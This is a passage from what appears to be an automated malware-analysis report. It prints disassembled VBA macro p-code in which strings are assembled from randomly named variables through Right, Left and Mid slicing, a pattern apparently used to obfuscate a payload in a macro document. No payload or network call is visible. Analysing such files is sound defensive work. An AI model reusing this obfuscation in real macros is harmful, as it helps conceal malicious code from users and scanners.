' 	Ld mUvZBb 
' 	Add 
' 	Ld czcPzz 
' 	Add 
' 	Ld sNkinziXp 
' 	Add 
' 	Ld iCtWNk 
' 	Add 
' 	St dSEYjani 
' Line #18:
' 	Dim 
' 	OptionBase 
' 	LitDI2 0x0001 
' 	VarDefn ZzWFn
' Line #19:
' 	Ld fLJYq 
' 	Ld XiuFTrNt 
' 	Add 
' 	Ld kfShzacOrAhGOJATIDwLrS 
' 	Add 
' 	LitDI2 0x017D 
' 	ArgsLd Right 0x0002 
' 	Ld VzLAkFz 
' 	Ld ailhJUz 
' 	Add 
' 	Ld bfvBENZClUbOizGQQcJvBnNR 
' 	Add 
' 	LitDI2 0x01F4 
' 	ArgsLd Right 0x0002 
' 	Add 
' 	Ld tiLsdrz 
' 	Ld mLDHh 
' 	Add 
' 	Ld LDnasIiMRkrvqavH 
' 	Add 
' 	LitDI2 0x0062 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld lnzjUDE 
' 	Ld NNlCO 
' 	Add 
' 	Ld BVDKQNfhQqUaiTZQ 
' 	Add 
' 	LitDI2 0x022F 
' 	LitDI2 0x0315 
' 	ArgsLd Mid 0x0003 
' 	Add 
' 	LitDI2 0x0000 
' 	ArgsSt ZzWFn 0x0001 
' Line #20:
' 	Dim 
' 	OptionBase 
' 	LitDI2 0x0001 
' 	VarDefn YGEdoQWj
' Line #21:
' 	Ld ZumFZV 
' 	Ld AmmNkvp 
' 	Add 
…

Open this report in the interactive analyzer, or submit your own file for analysis.